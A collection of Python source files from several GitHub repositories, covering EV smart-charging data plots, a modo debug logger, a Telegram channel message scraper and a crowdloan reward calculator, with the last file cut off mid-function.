['CABLE_PLUGGED_IN_AT', 'RELEASED_AT', 'STARTING_AT', 'COMPLETED_AT', 'PLANNED_PICKUP_AT', 'ESTIMATED_COMPLETED_AT', 'LAST_START_ATTEMPT_AT','CHARGING_AT','STOPPED_AT']\nfor var in timevars:\n D[var] = pd.to_datetime(D[var], format='%Y-%m-%d %H:%M:%S')\n # Convert from UTC to Copenhagen Time\n D[var] = D[var].dt.tz_convert('Europe/Copenhagen')\n D[var] = pd.to_datetime(D[var], format='%Y-%m-%d %H:%M:%S')\n\ndf_spot = pd.DataFrame({'time': spot['HourUTC'], 'trueprice': spot['SpotPriceDKK']/1000})\ndf_spot['time'] = pd.to_datetime(df_spot['time'], format='%Y-%m-%d %H:%M:%S')\ndf_spot = df_spot.set_index('time')\ndf_spot.index = df_spot.index.tz_localize('UTC').tz_convert('Europe/Copenhagen')\n\n# Show\nD.info()\nD.iloc[44]\n\n# Let's take a look at the data where SOC is available AND we are SMART CHARGING\nD2 = D[D['SOC'].notna()]\nD2 = D2[D2['SMART_CHARGE_ID'].notna()]\nprint(\"Disregarding \", round((1-(len(D2)/len(D))),4) *100, \" % of the data where SOC is not available or we are not smart charging\")\ni = 2\nsesh = D2.iloc[i]\neval(sesh.KWHS)\nprint(sesh.to_latex(index=True))\n\n# sesh.KWHS\n# xt = pd.DataFrame(eval(sesh.KWHS))\n# prices = pd.DataFrame(eval(sesh.SPOT_PRICES))\n\n# # xt dot prices where time is the same\n# xt['time'] = pd.to_datetime(xt['time'])\n# prices['time'] = pd.to_datetime(prices['time'])\n# xt = xt.set_index('time')\n# prices = prices.set_index('time')\n\n#assert sesh.COST == round((xt * prices).sum()[0],4), \"Costs do not match\"\n#assert sesh.KWH == round(xt.sum()[0],4), \"KWHs do not match\"\n\nprint(\"SOC_START = \", sesh.SOC_START, \" SOC = \", sesh.SOC)\n\nprint(\"Number of different users: \", D2.USER_ID.unique().shape[0])\nprint(\"Number of different vehicles: \", D2.VEHICLE_ID.unique().shape[0])\nprint(\"Number of different smart chard IDs: \", D2.SMART_CHARGE_ID.unique().shape[0])\n\n\n\n############# Let's extract a single VEHICLE profile ########################################\nvehicle_ids = D2.VEHICLE_ID.unique()\nvar = 'VEHICLE_ID'\ndfvehicle=None\nid = 13267\ndef PlotChargingProfile(D2=None, dfvehicle=None, var=\"VEHICLE_ID\", id=13267, plot_efficiency_and_SOCmin=True, vertical_hover=False, df_only=False, layout=None, imgtitle=\"PlainProfile_id\"):\n \"\"\"\n Plot the charging profile of a single vehicle\n If df_only is True, then only the dataframe is returned\n If df_vehicle is not None, then only plotting is done\n \"\"\"\n\n if dfvehicle is None:\n D2v = D2[D2[var] == id]\n D2v = D2v.sort_values(by=['CABLE_PLUGGED_IN_AT'])\n id = int(id)\n\n firsttime = D2v['CABLE_PLUGGED_IN_AT'].min().date() - datetime.timedelta(days=1)\n lasttime = max( D2v['PLANNED_PICKUP_AT'].max().date(), D2v['RELEASED_AT'].max().date()) + datetime.timedelta(days=1)\n\n assert len(D2v.capacity_kwh.unique()) == 1, \"Battery capacity changes for vehicle \" + str(id)\n assert len(D2v.max_kw_ac.unique()) == 1, \"Cable capacity changes for vehicle \" + str(id)\n\n # Create a list of times from firsttime to lasttime\n times = pd.date_range(firsttime, lasttime, freq='1h')\n # Create a list of zeros\n zeros = np.zeros(len(times))\n nans = np.full(len(times), np.nan)\n # Create a dataframe with these times and zeros\n df = pd.DataFrame({'time': times, 'z_plan': zeros, 'z_act': zeros, 'charge': zeros, 'price': nans, 'SOC': nans, 'SOCmin': nans, 'SOCmax': nans, 'BatteryCapacity': nans, 'CableCapacity': nans, 'efficiency': nans})\n df['time'] = df['time'].dt.tz_localize('UTC').dt.tz_convert('Europe/Copenhagen')\n df.z_plan, df.z_act = -1, -1\n # Set the index to be the time\n df = df.set_index('time')\n \n # Vehicle specifics\n df['BatteryCapacity'] = D2v.iloc[-1]['capacity_kwh']\n df['CableCapacity'] = D2v.iloc[-1]['max_kw_ac']\n\n # Loop over all plug-ins and plug-outs # ADD KWH AND SOC RELATIVE TO TIMES\n for i in range(len(D2v)):\n # Set z=1 for all times from plug-in to plug-out\n df.loc[D2v.iloc[i]['CABLE_PLUGGED_IN_AT']:D2v.iloc[i]['PLANNED_PICKUP_AT'], 'z_plan'] = 1 #i=2, ser ud til at være fucked, når CABLE_PLUGGED_IN_AT IKKE er heltal.\n df.loc[D2v.iloc[i]['CABLE_PLUGGED_IN_AT']:D2v.iloc[i]['RELEASED_AT'], 'z_act'] = 1\n\n # Allow semi-discrete plug-in relative to proportion of the hour\n #df.loc[D2v.iloc[i]['CABLE_PLUGGED_IN_AT'], 'z_plan'] = 1\n\n # # Extract charge from 'KWHS' and add to df where time is the same\n # xt = pd.DataFrame(eval(D2v.iloc[i]['KWHS']))\n # if D2v.iloc[i]['KWH'] != round(xt.sum()[1],4):\n # print(\"KWH total and sum(kWh_t) does not match for D2v row i=\", i)\n # xt['time'] = pd.to_datetime(xt['time'])\n # xt['time'] = xt['time'].dt.tz_localize('UTC').dt.tz_convert('Europe/Copenhagen')\n # xt = xt.set_index('time')\n # df.loc[xt.index, 'charge'] = xt['value']\n\n # Efficiency of charging (ratio of what has been charged to what goes into the battery)\n #if D2v.iloc[i]['KWH'] >= 1: # Only proper charging\n if D2v.iloc[i]['KWH'] > 0:\n df.loc[D2v.iloc[i]['CABLE_PLUGGED_IN_AT']:D2v.iloc[i]['RELEASED_AT'], 'efficiency'] = ((D2v.iloc[i].SOC - D2v.iloc[i].SOC_START) / 100 * D2v.iloc[i]['capacity_kwh']) / D2v.iloc[i].KWH\n\n # # Add the right spot prices to df\n # if type(D2v.iloc[i]['SPOT_PRICES']) == str and len(eval(D2v.iloc[i]['SPOT_PRICES'])) != 0:\n # prices = pd.DataFrame(eval(D2v.iloc[i]['SPOT_PRICES']))\n # prices['time'] = pd.to_datetime(prices['time'])\n # prices['time'] = prices['time'].dt.tz_localize('UTC').dt.tz_convert('Europe/Copenhagen')\n # prices = prices.set_index('time')\n # df.loc[prices.index, 'price'] = prices['value']\n \n # Add SOC and convert to kWhs\n df.loc[D2v.iloc[i]['CABLE_PLUGGED_IN_AT'].ceil('H', ambiguous=bool), 'SOC'] = D2v.iloc[i]['SOC_START']/100 * D2v.iloc[i]['capacity_kwh']\n df.loc[D2v.iloc[i]['PLANNED_PICKUP_AT'].floor('H'), 'SOC'] = D2v.iloc[i]['SOC']/100 * D2v.iloc[i]['capacity_kwh']\n\n # Add SOCmax\n df.loc[D2v.iloc[i]['CABLE_PLUGGED_IN_AT']:D2v.iloc[i]['PLANNED_PICKUP_AT'], 'SOCmax'] = D2v.iloc[i]['SOC_LIMIT']/100 * D2v.iloc[i]['capacity_kwh']\n\n # bmin (PURELY INPUT ASSUMPTION)\n min_charged = 0.40 # 40% of battery capacity\n min_alltime = 0.05 # Never go below 5%\n df.loc[D2v.iloc[i]['PLANNED_PICKUP_AT'].floor('H'), 'SOCmin'] = min_charged * df['BatteryCapacity'][i] # Min SO C\n df['SOCmin'] = df['SOCmin'].fillna(min_alltime * df['BatteryCapacity'][i])\n\n\n # If z_plan_everynight and corresponding bmin\n # z_plan_everynight:\n df['z_plan_everynight'] = -1 # df['z_plan_everynight'] = df['z_plan']\n df.loc[(df.index.hour >= 22) | (df.index.hour < 6), 'z_plan_everynight'] = 1\n\n # bmin_everymorning:\n df['SOCmin_everymorning'] = min_alltime * df['BatteryCapacity'] #df['SOCmin_everymorning'] = df['SOCmin']\n df.loc[(df.index.hour == 6), 'SOCmin_everymorning'] = min_charged * df['BatteryCapacity']\n\n # Costs\n df['costs'] = df['price'] * df['charge']\n df = df.merge(df_spot, how='left', left_on='time', right_on='time')\n \n # in df['SOC] replace nan with most recent value\n df['SOC_lin'] = df['SOC'].interpolate(method='linear')\n df['SOC'] = df['SOC'].fillna(method='ffill')\n\n # Use\n u = df.SOC.diff().dropna()\n u[u>0] = 0\n u = u.abs()\n df['use'] = u\n\n # Use linearly interpolated SOC\n u_lin = df.SOC_lin.diff().dropna()\n u_lin[u_lin>0] = 0\n u_lin = u_lin.abs()\n df['use_lin'] = u_lin\n # Daily average use\n df['use_dailyaverage'] = df[df['use_lin'] != 0]['use_lin'].mean()\n\n # Calculate 7-day rolling mean of use_lin\n roll_length = 7 # If changed, also change in legend\n df['use_rolling'] = df[df['use_lin'] != 0]['use_lin'].rolling(roll_length*24, min_periods=24).mean()\n df['use_rolling'] = df['use_rolling'].fillna(0)\n # Issues: When subsetting on NOT plugged_in, the roll length of 7*24 steps becomes more than 7 days\n # Issues: Initial 7 days\n\n # Calculate 14-day rolling mean of use (use to estimate use_lin. Without cheating)\n roll_length = 10\n df['use_org_rolling'] = df['use'].rolling(roll_length*24, min_periods=12).mean() # min periods shouldn't be too large or too small\n df['use_org_rolling'] = df['use_org_rolling'].fillna(0) # Estimate u_hat 12 hours with 0\n\n # Exponential moving average\n hlf_life = 2 # days\n df['use_ewm'] = df[df['use_lin'] != 0]['use_lin'].ewm(span=roll_length*24, min_periods=24).mean()\n df['use_ewm'] = df['use_ewm'].fillna(0)\n\n # Median prediction of efficiency\n df['efficiency_median'] = np.median(df['efficiency'].dropna().unique())\n\n # Add vehicle id\n df['vehicle_id'] = id\n\n # Assure non-Nan at crucial places\n if any(df['use'].isna()):\n df = df[~df['use_lin'].isna()]\n print('Rows with NaNs in Use were deleted.')\n\n else:\n df = dfvehicle\n firsttime = df.index[0]\n lasttime = df.index[-1]\n\n #################### START THE PLOTTING ###########################################\n fig = go.Figure([go.Scatter(\n x=df.index,\n y=df['z_act'],\n mode='lines',\n name = \"Plugged-in (actual)\",\n line=dict(\n color='black',\n dash='dot',\n ))])\n\n # Plot the result\n fig.add_trace(go.Scatter(\n x=df.index,\n y=df['z_plan'],\n mode='lines',\n name='Plugged-in (planned)',\n line=dict(\n color='black',\n )))\n\n fig.add_trace(go.Scatter(\n x=df.index,\n y=df['z_plan_everynight'],\n mode='lines',\n name='Plugged-in (assumption)',\n line=dict(\n color='black',\n )))\n\n fig.add_trace(go.Scatter(\n x=df.index,\n y=df['charge'],\n mode='lines',\n name='Charge',\n marker=dict(\n size=10,\n opacity=0.8\n ),\n line=dict(\n color='green',\n width=2\n )\n ))\n\n fig.add_trace(go.Scatter(\n x=df.index,\n y=df['use'],\n mode='lines',\n name='Use',\n line=dict(\n color='red',\n width=2\n )\n ))\n\n fig.add_trace(go.Scatter(\n x=df.index,\n y=df['use_lin'],\n mode='lines',\n name='Use (interpolated)',\n line=dict(\n color='red',\n width=2,\n dash='dot'\n )\n ))\n\n # fig.add_trace(go.Scatter(\n # x=df.index,\n # y=df['use_rolling'],\n # mode='lines',\n # name='Use ('+str(7)+' day rolling mean) [kWh]',\n # line=dict(\n # color='red',\n # width=2,\n # dash='dot'\n # )\n # ))\n\n # fig.add_trace(go.Scatter(\n # x=df.index,\n # y=df['use_ewm'],\n # mode='lines',\n # name='Use (Exponentially Weighted Moving Average with half life = '+str(2)+') [kWh]',\n # line=dict(\n # color='red',\n # width=2,\n # dash='dash'\n # )\n # ))\n\n # fig.add_trace(go.Scatter(\n # x=df.index,\n # y=df['use_dailyaverage'],\n # mode='lines',\n # name='Use daily average (outside of plug-in) [kWh]',\n # line=dict(\n # color='red',\n # width=0.5,\n # dash='dash'\n # )\n # ))\n\n fig.add_trace(go.Scatter(\n x=df.index,\n y=df['price'],\n mode='lines',\n name='Price',\n line=dict(\n color='purple',\n width=1\n )\n ))\n\n fig.add_trace(go.Scatter(\n x=df.index,\n y=df['SOC'],\n mode='lines',\n name = \"SOC\",\n line=dict(\n color='lightblue',\n width=2\n )\n ))\n\n fig.add_trace(go.Scatter(\n x=df.index,\n y=df['trueprice'],\n mode='lines',\n name='Price',\n line=dict(\n color='purple',\n width=1\n )\n ))\n\n fig.add_trace(go.Scatter(\n x=df.index,\n y=df['SOCmax'],\n mode='lines',\n name = \"SOC max [kWh]\",\n line=dict(width=2, color='grey') #color='DarkSlateGrey')\n # Add index value to hovertext\n # hovertext = df.index\n ))\n\n if plot_efficiency_and_SOCmin:\n fig.add_trace(go.Scatter(\n x=df.index,\n y=df['efficiency']*100,\n mode='lines',\n name = \"Efficiency [%]\",\n line=dict(width=2, color='DarkSlateGrey')\n ))\n\n fig.add_trace(go.Scatter(\n x=df.index,\n y=df['efficiency_median']*100,\n mode='lines',\n name = \"Efficiency median [%]\",\n line=dict(width=2, color='DarkSlateGrey', dash='dot')\n ))\n\n fig.add_trace(go.Scatter(\n x=df.index,\n y=df['SOC_lin'],\n mode='lines',\n name = \"SOC (linear interpolation)\",\n line=dict(\n color='lightblue',\n width=2,\n dash='dot'\n )\n ))\n\n fig.add_trace(go.Scatter(\n x=df.index,\n y=df['SOCmin_everymorning'],\n mode='lines',\n name = \"Minimum SOC\",\n line=dict(\n color='lightblue',\n width=2 , dash='dash'\n )\n ))\n\n fig.add_trace(go.Scatter(\n x=df.index,\n y=df['BatteryCapacity'],\n mode='lines',\n name = \"Battery Capacity [kWh]\",\n line=dict(\n color='darkgrey',\n dash='dash'\n )))\n\n fig.add_trace(go.Scatter(\n x=df.index,\n y=df['use_org_rolling'],\n mode='lines',\n name = \"Rolling Use (10 days)\",\n line=dict(\n color='red',\n width=1,\n dash='dash'\n )\n ))\n\n if vertical_hover:\n # Add vertical hover lines\n fig.update_layout(\n hovermode='x unified',\n hoverdistance=100, # Distance to show hover label of data point\n spikedistance=1000, # Distance to show spike\n hoverlabel=dict(\n bgcolor=\"white\",\n font_size=16,\n font_family=\"Rockwell\"\n )\n )\n \n # Set xticks to be individual days\n fig.update_xaxes(\n tickmode = 'array',\n tickvals = [firsttime + datetime.timedelta(days=i) for i in range((lasttime-firsttime).days+1)],\n ticktext = [str(firsttime + datetime.timedelta(days=i))[:10] for i in range((lasttime-firsttime).days+1)],\n tickangle = 45\n )\n # Add legend\n fig.update_layout(\n title_text=\"Charging by \" +str(var) + \"=\"+ str(id) + \" from \"+str(firsttime)+\" to \"+str(lasttime), # title of plot\n xaxis_title_text=\"Date\", # xaxis label\n yaxis_title_text=\"kWh or True-False [1, -1]\", # yaxis label\n #font=dict(\n # size=18,\n # color=\"RebeccaPurple\"\n #)\n )\n\n if layout is not None:\n # Export html\n fig.write_html(pathhtml + imgtitle + str(id) + \".html\")\n fig.update_layout(layout)\n # For the x-ticks, only show every 7th day\n fig.update_xaxes(\n tickmode = 'array',\n tickvals = [firsttime + datetime.timedelta(days=i) for i in range((lasttime-firsttime).days+1) if i%7==0],\n ticktext = [str(firsttime + datetime.timedelta(days=i))[:10] for i in range((lasttime-firsttime).days+1) if i%7==0],\n tickangle = 45\n )\n # Remove x-ticks and xaxis title text (TEMPORARY)\n # fig.update_xaxes(\n # showticklabels=False,\n # title_text=\"\"\n # )\n\n # Subset data to 2022-09-20 to 2022-09-30\n # fig.update_xaxes(\n # range=['2022-09-20', '2022-09-30']\n # )\n # fig.update_yaxes(\n # range=[-1, 10]\n # )\n\n # Decrease linewidth of all lines\n for i in range(len(fig.data)):\n fig.data[i].line.width = 1.5\n # Export pdf\n fig.write_image(path + imgtitle + str(id) + \".pdf\")\n \n if not df_only:\n fig.show()\n return df\n## Export plots for report\n#dfv = PlotChargingProfile(D2, var=\"VEHICLE_ID\", id=13923, plot_efficiency_and_SOCmin=True, vertical_hover=False, layout=layout, imgtitle=\"use_curves_id\")\n\ndfv = PlotChargingProfile(D2, var=\"VEHICLE_ID\", id=29185, plot_efficiency_and_SOCmin=True, vertical_hover=False)\ndfv = PlotChargingProfile(D2, var=\"VEHICLE_ID\", id=vehicle_ids[99], vertical_hover=False)\ndfv = PlotChargingProfile(D2, var=\"VEHICLE_ID\", id=24727, plot_efficiency_and_SOCmin=True, vertical_hover=False, df_only=False)\ndfv = PlotChargingProfile(D2, var=\"VEHICLE_ID\", id=14597, plot_efficiency_and_SOCmin=True, vertical_hover=False)\n# Drop variables in dfv\ndfv = dfv.drop(['use_dailyaverage', 'use_rolling', 'use_ewm', 'efficiency'], axis=1)\n# Add index as the first column and reset index\n# dfv.insert(0, 'time', dfv.index)\n# dfv = dfv.reset_index(drop=True)\n# # transpose dfv\n# dfv = dfv.T\n# print(round(dfv.iloc[:,[0,-1]],2).to_latex())\n# print(round(dfp.iloc[[0,1,2,3,4,5,-3,-2,-1],[0,1,2,3,4,5,6,-3,-2,-1]],2).to_latex())\n\n\n# ids = [30299, 6817, 18908] # Ids where perfect foresight fails\n# for id in ids:\n# print(\"Plotting vehicle\", id)\n# dfv = PlotChargingProfile(D2, id=id, plot_efficiency_and_SOCmin=True)\n\n\n# Load pickle file from data/MPC-ready\nwith open('data/MPC-ready/df_vehicle_list.pkl', 'rb') as f:\n DFV = pickle.load(f)\n\n# Extract vehicle ids from DFV\nselected_vehicle_ids = []\nselected_efficiency_median = []\nfor df in DFV:\n selected_vehicle_ids.append(df['vehicle_id'][0])\n selected_efficiency_median.append(df['efficiency_median'][0])\n\n\n# Subset testdata\nfirsttime = datetime.datetime(2022, 11, 12, 0, 0, 0)\nlasttime = datetime.datetime(2023, 1, 5, 23, 59, 59)\nfirsttime = firsttime.replace(tzinfo=datetime.timezone.utc)\nlasttime = lasttime.replace(tzinfo=datetime.timezone.utc)\n\n# Remove vehicles manually, if they practicically didn't charge in the testperiod\n# Export\nselected_vehicle_ids = [x for x in selected_vehicle_ids if x not in [3011, 1352, 24727, 14597, 32278, 21745]]\nre_use_efficiencies = False\n\nDFVtest = []\nfor id in selected_vehicle_ids:\n print(\"Plotting vehicle\", id)\n dfv = PlotChargingProfile(D2, id=id, df_only=True, plot_efficiency_and_SOCmin=False, vertical_hover=False)\n dfv = dfv.loc[firsttime:lasttime]\n if re_use_efficiencies:\n dfv['efficiency_median'] = selected_efficiency_median[selected_vehicle_ids.index(id)] # Insert old fitted median efficiencies\n #PlotChargingProfile(dfvehicle=dfv, id=id, plot_efficiency_and_SOCmin=False)\n DFVtest.append(dfv)\n\n# # Export list of vehicles\n# with open('data/MPC-ready/df_TEST_vehicle_list.pkl', 'wb') as f:\n# pickle.dump(DFVtest, f)\n\n\n\n# SIMILARLY EXPORT 100 **NEW** VEHICLES\n\n# Show the top 10 vehicles with the most charging sessions, where battery capacity >= 40 kWh\nDFV = []\nindx = D2['capacity_kwh'] >= 40\nvehicles_sorted = D2['VEHICLE_ID'][indx].value_counts().index\nbad_ids = [] # Bad ids\nN = 100 + len(bad_ids)+len(selected_vehicle_ids) - 35\nfor id in vehicles_sorted[:N]:\n if (id in bad_ids) or (id in selected_vehicle_ids):\n print(\" [Skipping vehicle\", id, \"]\")\n continue\n print(\"Plotting vehicle\", id)\n dfv = PlotChargingProfile(D2, id=id, df_only=True, plot_efficiency_and_SOCmin=False, vertical_hover=False)\n dfv = dfv.loc[firsttime:lasttime]\n #PlotChargingProfile(dfvehicle=dfv, id=id, plot_efficiency_and_SOCmin=False)\n DFV.append(dfv)\n\n# Export list of vehicles\nwith open('data/MPC-ready/df_TEST_NEW_vehicle_list.pkl', 'wb') as f:\n pickle.dump(DFV, f)\n# Random vehicles?\n\n\n# Extract 100 random vehicles (that have been plugged in at least 5 five times during the two months period.\nDFV = []\nindx = D2['capacity_kwh'] >= 40\nnp.random.seed(1337)\nvehicles = np.array(D2['VEHICLE_ID'][indx].value_counts().index, dtype=int)\nnp.random.shuffle(vehicles)\nbad_ids = [33783, 832, 38950, 18637, 19967, 31113, 33692, 35444, 19004, 16198, 41332, 36566,21204] # Bad ids\nN = 130 + len(bad_ids)\nfor id in vehicles:\n if (id in bad_ids):\n print(\" [Skipping vehicle\", id, \"]\")\n continue\n print(\"Plotting vehicle\", id)\n try:\n dfv = PlotChargingProfile(D2, id=id, df_only=True, plot_efficiency_and_SOCmin=False, vertical_hover=False)\n dfv = dfv.loc[firsttime:lasttime]\n if (sum(dfv.use > 1) < 4) or len(dfv)<24*7*2: # Min 2 weeks of data and min. 4 charge sessions\n continue\n PlotChargingProfile(dfvehicle=dfv, id=id, plot_efficiency_and_SOCmin=False)\n except:\n print(\" [Skipping vehicle\", id, \"]\")\n continue\n\n DFV.append(dfv)\n if len(DFV) == 100:\n break\n\n# Export list of vehicles\nwith open('data/MPC-ready/df_TEST_RANDOM_vehicle_list.pkl', 'wb') as f:\n pickle.dump(DFV, f)\n# Random vehicles?\n","repo_name":"davidripsen/code_Smart_Charging","sub_path":"dataviz_cardata2_testdata.py","file_name":"dataviz_cardata2_testdata.py","file_ext":"py","file_size_in_byte":22337,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"68"} +{"seq_id":"23691759828","text":"#!/usr/bin/python\n# ================================\n# (C)2022-2023 Dmytro Holub\n# heap3d@gmail.com\n# --------------------------------\n# modo python\n# EMAG\n# h3d debug utilites\n\nimport datetime\nimport inspect\nimport os.path\nimport modo\nfrom h3d_exceptions import H3dExitException\nimport h3d_utils as h3du\n\n\nclass H3dDebug:\n def __init__(self, enable=False, file=None, indent=0, indent_str=\" \" * 4):\n self.enable = enable\n self.initial_indent = int(indent)\n self.indent = self.initial_indent\n self.indent_str = indent_str\n self.log_path = \"\"\n self.file_init(file)\n\n def print_debug(self, message, indent=0):\n if not self.enable:\n return\n self.indent += indent\n curtime = datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S.%f\")\n message_upd = \"{}{} {}\".format(curtime, self.indent_str * self.indent, message)\n if self.log_path:\n self.print_to_file(message_upd)\n else:\n self.print_to_sys(message_upd)\n self.indent -= indent\n\n def print_to_file(self, message):\n if not self.enable:\n return\n if not self.log_path:\n self.print_to_sys(message)\n return\n with open(self.log_path, \"a\") as f:\n f.write(message)\n f.write(\"\\n\")\n\n def print_to_sys(self, message):\n if not self.enable:\n return\n print(message)\n\n def exit(self, message=\"debug exit\"):\n self.print_debug(message)\n raise H3dExitException(message)\n\n def get_name(self, item):\n if not self.enable:\n return\n if not item:\n return\n\n try:\n name = item.name\n except AttributeError:\n name = \"\"\n\n return name\n\n def print_items(self, items, message=None, indent=0):\n if not self.enable:\n return\n if message:\n self.print_debug(message, indent=indent)\n if not items:\n self.print_debug(items, indent=indent + 1)\n return\n\n for i in items:\n if \"modo.item.\" in str(type(i)):\n self.print_debug(\n \"<{}> : <{}>\".format(i.name, h3du.safe_type(i)), indent=indent + 1\n )\n else:\n self.print_debug(\"<{}>\".format(i), indent=indent + 1)\n\n def file_init(self, file):\n if not file:\n return\n\n scene_path = modo.Scene().filename\n if not scene_path:\n self.log_path = None\n return\n\n scene_dir = os.path.dirname(scene_path)\n log_path = os.path.join(scene_dir, file)\n self.log_path = log_path\n if not self.enable:\n return\n\n self.log_reset()\n\n def print_fn_in(self):\n if not self.enable:\n return\n caller = inspect.stack()[1][3]\n message = \"{}(): in >>>>\".format(caller)\n self.print_debug(message)\n self.indent_inc()\n\n def print_fn_out(self):\n if not self.enable:\n return\n caller = inspect.stack()[1][3]\n self.indent_dec()\n message = \"<<<< out: {}()\".format(caller)\n self.print_debug(message)\n\n def indent_inc(self, inc=1):\n if not self.enable:\n return\n self.indent += inc\n\n def indent_dec(self, dec=1):\n if not self.enable:\n return\n self.indent -= dec\n\n def log_reset(self):\n if not self.log_path:\n return\n with open(self.log_path, \"w\"):\n # reinitialize log file\n pass\n self.indent = self.initial_indent\n\n def get_attributes(self, class_item):\n members = inspect.getmembers(class_item)\n public_members = []\n for member in members:\n # skip if starts with underscore\n if member[0].startswith(\"_\"):\n continue\n # skip if member is method\n if inspect.ismethod(member[1]):\n continue\n # add to public members list\n public_members.append(member)\n\n return public_members\n","repo_name":"heap3d/h3d_utilites","sub_path":"scripts/h3d_debug.py","file_name":"h3d_debug.py","file_ext":"py","file_size_in_byte":4114,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"41334350785","text":"\"\"\"\n This is a class that scrape messages from telegram channel\n\n\"\"\"\nimport configparser\nimport json\nimport asyncio\nfrom datetime import date, datetime\n\nfrom telethon import TelegramClient\nfrom telethon.errors import SessionPasswordNeededError\nfrom telethon.tl.functions.messages import (GetHistoryRequest)\nfrom telethon.tl.types import (\n PeerChannel\n)\n\n\n\nclass DateTimeEncoder(json.JSONEncoder):\n \"\"\"\n function to parse json date\n\n \"\"\"\n def default(self, o):\n if isinstance(o, datetime):\n return o.isoformat()\n\n if isinstance(o, bytes):\n return list(o)\n\n return json.JSONEncoder.default(self, o)\n\n\n\"\"\"\n Read Configs i.e API credential which are in the config.in file for security purposes\n\n\"\"\"\nconfig = configparser.ConfigParser()\nconfig.read(\"config.ini\")\n\n# Setting configuration values\napi_id = config['Telegram']['api_id']\napi_hash = config['Telegram']['api_hash']\n\napi_hash = str(api_hash)\n\nphone = config['Telegram']['phone']\nusername = config['Telegram']['username']\n\n\n\"\"\"\n Create the client and connect\n\n\"\"\"\n\nclient = TelegramClient(username, api_id, api_hash)\n\n\nasync def main(phone):\n \"\"\"\n This a main method to start the client and connect to the telegram channel\n\n It ensures that the client is authorized and then it will get the messages from the channel, the phone number is suppossed to be in full i.e country code + phone number\n\n \"\"\"\n await client.start()\n print(\"Client Created\")\n # Ensure you're authorized\n if await client.is_user_authorized() == False:\n await client.send_code_request(phone)\n try:\n await client.sign_in(phone, input('Enter the code: '))\n except SessionPasswordNeededError:\n await client.sign_in(password=input('Password: '))\n\n me = await client.get_me()\n\n user_input_channel = input('Please enter the URL of the channel:')\n\n if user_input_channel.isdigit():\n entity = PeerChannel(int(user_input_channel))\n else:\n entity = user_input_channel\n\n my_channel = await client.get_entity(entity)\n\n offset_id = 0\n limit = 100\n all_messages = []\n total_messages = 0\n total_count_limit = 0\n\n while True:\n print(\"Current Offset ID is:\", offset_id, \"; Total Messages:\", total_messages)\n history = await client(GetHistoryRequest(\n peer=my_channel,\n offset_id=offset_id,\n offset_date=None,\n add_offset=0,\n limit=limit,\n max_id=0,\n min_id=0,\n hash=0\n ))\n if not history.messages:\n print('There are no messages in this channel')\n break\n messages = history.messages\n for message in messages:\n if \"university\" or \"scholarship\" in messages:\n all_messages.append(message.to_dict())\n offset_id = messages[len(messages) - 1].id\n total_messages = len(all_messages)\n if total_count_limit != 0 and total_messages >= total_count_limit:\n break\n print(\"messages found\")\n else:\n print(\"no education message found!\")\n\n with open('channel_messages.json', 'w') as outfile:\n json.dump(all_messages, outfile, cls=DateTimeEncoder)\n\n\nwith client:\n client.loop.run_until_complete(main(phone))\n","repo_name":"ditirodt/Ukraine","sub_path":"src/ChannelMessages.py","file_name":"ChannelMessages.py","file_ext":"py","file_size_in_byte":3371,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"10889326220","text":"#!/usr/bin/env python3.9\nimport csv\nimport sys\n\nif len(sys.argv) < 2:\n print(\"Usage: ./guaranteed_rewards_calculation.py \")\n sys.exit()\n\nfund_id = sys.argv[1]\nif fund_id == '24':\n blocknumber_crowdloan_end = 9_676_800\n total_rewards = 21460.2955281453 # TEER (correction after missing some contributions)\nelif fund_id == '38':\n blocknumber_crowdloan_end = 10_281_600\n total_rewards = 20_000 # TEER\nelif fund_id == '56':\n blocknumber_crowdloan_end = 10_786_200\n total_rewards = 0 # TEER (didn't reach threshold)\nelif fund_id == '59':\n blocknumber_crowdloan_end = 11_391_600\n total_rewards = 20_000 # TEER\nelif fund_id == '0':\n blocknumber_crowdloan_end = 200\n total_rewards = 20_000 # TEER\nelse:\n raise(BaseException(f'unknown fund-id: {fund_id}'))\n\n# Settings:\n\ninput_file = f'contributions-2015-{fund_id}.csv'\noutput_file = f'guaranteed-rewards-2015-{fund_id}.csv'\n\nwaived_accounts = [\"EZwaNLfEwAMYcEdbp7uKYFCjnsn43S85pm6BumT5UwvZQvB\",\n \"G7Lwgm7GxrH2V6BREqSdi9EtKAD9DLmREiPW9YnkmpuxDwW\",\n \"E5rK9r9LEa5JPr1iabNaGSMy8GHu1MX2ShnPYSbKLA37xEH\",\n \"EijCociWDFh6ZBKY3P6KnvujkmcttiNVrTLS8WvcQ7KDHRx\"]\n\nexistential_deposit = 0.001 # 1mTEER\n\ndef get_total_cointime(address: str = None) -> int:\n \"\"\"\n calculates the total cointime for a given address.\n The data is read out from a csv set by global variable \"input_file\"\n cointime = contribution times number of blocks until end of crowdloan\n\n :param address: account address. If None calculate for all addresses.\n :return: total cointime\n \"\"\"\n tot = 0\n with open(input_file, newline='') as csvfile:\n reader = csv.reader(csvfile)\n for row in reader:\n if address is not None and address != row[0]:\n continue\n if row[0] in waived_accounts:\n continue\n contribution = int(row[1])\n block_number = int(row[2])\n tot += contribution * (blocknumber_crowdloan_end - block_number)\n return tot\n\n\ndef read_addresses_from_file() -> dict[str, int]:\n addresses = {}\n with open(input_file, newline='') as csvfile:\n reader = csv.reader(csvfile)\n for row in reader:\n a = row[0]\n if a not in addresses.keys():\n addresses[a] = get_total_cointime(a)\n return addresses\n\n\ndef get_guaranteed_reward(personal_cointime: int, overall_total: int) -> float:\n return total_rewards * personal_cointime / overall_total\n\n\ndef test_total_cointime_consistency(addresses: dict[str, int]):\n \"\"\"\n the sum of the cointimes for all unique addresses should be equal to the total cointime\n\n :param addresses:\n \"\"\"\n total = sum(addresses.values())\n assert total == get_total_cointime()\n print(f\"total cointime: {total}\")\n\n\ndef calculate_all_rewards(addresses: dict[str, int]):\n \"\"\"\n writes all rewards into the output file set by global variable\n\n :param addresses:\n \"\"\"\n overall_total_cointime = sum(addresses.values())\n with open(output_file, \"w\", newline='') as output:\n writer = csv.writer(output)\n for a, c in addresses.items():\n if a in waived_accounts:\n continue\n reward = max(existential_deposit, get_guaranteed_reward(c, overall_total_cointime))\n writer.writerow([a, reward])\n\n\ndef get_total_reward() -> float:\n \"\"\"\n to check the calculated rewards, sum up all results in the output 